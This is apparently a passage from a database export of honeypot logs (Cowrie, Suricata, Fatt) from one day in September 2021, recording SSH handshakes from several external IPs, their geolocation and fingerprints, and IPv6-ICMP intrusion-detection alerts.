"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
31952	87.112.251.105	109.199.241.180	Suricata	2021-09-20 14:48:13.585386+03	2021-09-20 15:00:02.836717+03	{"_id": "EQYJA3wBvYTbRNuEAUeA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "87.112.251.105", "dest_ip": "192.168.20.116", "flow_id": 2146046796749000, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 35169, "dest_port": 22, "timestamp": "2021-09-20T11:48:13.585386Z", "@timestamp": "2021-09-20T11:48:13.585Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
31953	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:48:13.521919+03	2021-09-20 15:00:02.838716+03	{"_id": "EwYJA3wBvYTbRNuEAkeF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "87.112.251.105", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35169, "timestamp": "2021-09-20T11:48:13.521919", "@timestamp": "2021-09-20T11:48:13.521Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31954	0000:0000:0000:0000:0000:0000:0000:0000	109.199.241.180	Suricata	2021-09-20 14:48:22.464046+03	2021-09-20 15:00:02.839716+03	{"_id": "MwYJA3wBvYTbRNuEJEes", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:48:22.464046+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 230}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "0000:0000:0000:0000:0000:0000:0000:0000", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 306557401568430, "payload": "AAAACAMAAAD/AgAAAAAAAAAAAAAAAAACAwAAAP8FAAAAAAAAAAAAAAAAAAIDAAAA/wIAAAAAAAAAAAAAAAAAAgMAAAD/BQAAAAAAAAAAAAAAAAACAwAAAP8CAAAAAAAAAAAAAf/OYmcDAAAA/wIAAAAAAAAAAAAB/wAAAAQAAAD/BQAAAAAAAAAAAAAAAAACBAAAAP8CAAAAAAAA", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:48:22.464046Z", "@timestamp": "2021-09-20T11:48:22.464Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......................................................................................................bg...................................................."}}	1	\N	\N	alert	\N	\N
31955	fe80:0000:0000:0000:7e01:82f4:3ece:6267	109.199.241.180	Suricata	2021-09-20 14:48:23.498679+03	2021-09-20 15:00:02.840717+03	{"_id": "PAYJA3wBvYTbRNuEKEeV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:48:23.498679+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 70}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:7e01:82f4:3ece:6267", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0002", "flow_id": 1907538673507319, "payload": "AAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 133, "timestamp": "2021-09-20T11:48:23.498679Z", "@timestamp": "2021-09-20T11:48:23.498Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...."}}	1	\N	\N	alert	\N	\N
31956	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:48:24.093921+03	2021-09-20 15:00:02.842717+03	{"_id": "QAYJA3wBvYTbRNuEKkfv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-powerpc-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "eventid": "cowrie.session.params", "message": [], "session": "788fab6685a6", "@version": "1", "timestamp": "2021-09-20T11:48:24.093921Z", "@timestamp": "2021-09-20T11:48:24.093Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31957	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:48:13.519517+03	2021-09-20 15:00:02.843716+03	{"_id": "DgYIA3wBvYTbRNuE_0fw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "f5e89efba061", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:48:13.519517Z", "@timestamp": "2021-09-20T11:48:13.519Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
31958	87.112.251.105	109.199.241.180	Fatt	2021-09-20 14:48:13.714835+03	2021-09-20 15:00:02.845716+03	{"_id": "EgYJA3wBvYTbRNuEAkeF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "87.112.251.105", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 35169, "dest_port": 22, "timestamp": "2021-09-20T11:48:13.714835", "@timestamp": "2021-09-20T11:48:13.714Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
31959	87.112.251.105	109.199.241.180	Fatt	2021-09-20 14:48:12.370598+03	2021-09-20 15:00:02.846716+03	{"_id": "BgYIA3wBvYTbRNuE_keb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "87.112.251.105", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 34996, "dest_port": 22, "timestamp": "2021-09-20T11:48:12.370598", "@timestamp": "2021-09-20T11:48:12.370Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
31960	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:48:13.51647+03	2021-09-20 15:00:02.848717+03	{"_id": "DQYIA3wBvYTbRNuE_0fw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 87.112.251.105:35169 (192.168.176.2:22) [session: f5e89efba061]", "session": "f5e89efba061", "@version": "1", "protocol": "ssh", "src_port": 35169, "dest_port": 22, "timestamp": "2021-09-20T11:48:13.516470Z", "@timestamp": "2021-09-20T11:48:13.516Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
31961	0000:0000:0000:0000:0000:0000:0000:0000	109.199.241.180	Suricata	2021-09-20 14:48:22.501943+03	2021-09-20 15:00:02.849717+03	{"_id": "MQYJA3wBvYTbRNuEJEes", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:48:22.501943+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 86}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "0000:0000:0000:0000:0000:0000:0000:0000", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0001:ffce:6267", "flow_id": 1217369641232567, "payload": "AAAAAP6AAAAAAAAAfgGC9D7OYmc=", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 135, "timestamp": "2021-09-20T11:48:22.501943Z", "@timestamp": "2021-09-20T11:48:22.501Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "............~...>.bg"}}	1	\N	\N	alert	\N	\N
31962	0000:0000:0000:0000:0000:0000:0000:0000	109.199.241.180	Suricata	2021-09-20 14:48:23.221605+03	2021-09-20 15:00:02.850716+03	{"_id": "NAYJA3wBvYTbRNuEJEes", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:48:22.464046+0000", "pkts_toclient": 0, "pkts_toserver": 3, "bytes_toclient": 0, "bytes_toserver": 550}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "0000:0000:0000:0000:0000:0000:0000:0000", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 306557401568430, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:48:23.221605Z", "@timestamp": "2021-09-20T11:48:23.221Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
31963	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:48:23.310301+03	2021-09-20 15:00:02.852716+03	{"_id": "OAYJA3wBvYTbRNuEJ0cG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "3e846f2ca41e", "@version": "1", "duration": 2.3677823543548584, "timestamp": "2021-09-20T11:48:23.310301Z", "@timestamp": "2021-09-20T11:48:23.310Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31964	fe80:0000:0000:0000:7e01:82f4:3ece:6267	109.199.241.180	Suricata	2021-09-20 14:48:23.505817+03	2021-09-20 15:00:02.853716+03	{"_id": "OgYJA3wBvYTbRNuEKEeV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:48:23.498034+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 240}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:7e01:82f4:3ece:6267", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 250149448685938, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:48:23.505817Z", "@timestamp": "2021-09-20T11:48:23.505Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
31965	123.126.106.88	109.199.241.180	Suricata	2021-09-20 14:48:28.097547+03	2021-09-20 15:00:02.854716+03	{"_id": "WAYJA3wBvYTbRNuEOEc4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "123.126.106.88", "dest_ip": "192.168.20.116", "flow_id": 27702355233776, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 48484, "dest_port": 22, "timestamp": "2021-09-20T11:48:28.097547Z", "@timestamp": "2021-09-20T11:48:28.097Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
31966	123.126.106.88	109.199.241.180	Fatt	2021-09-20 14:48:28.097663+03	2021-09-20 15:00:02.855716+03	{"_id": "WgYJA3wBvYTbRNuEOUc8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "123.126.106.88", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 48484, "dest_port": 22, "timestamp": "2021-09-20T11:48:28.097663", "@timestamp": "2021-09-20T11:48:28.097Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
31967	123.126.106.88	109.199.241.180	Cowrie	2021-09-20 14:48:28.098251+03	2021-09-20 15:00:02.856716+03	{"_id": "XAYJA3wBvYTbRNuEOkeS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "123.126.106.88", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", 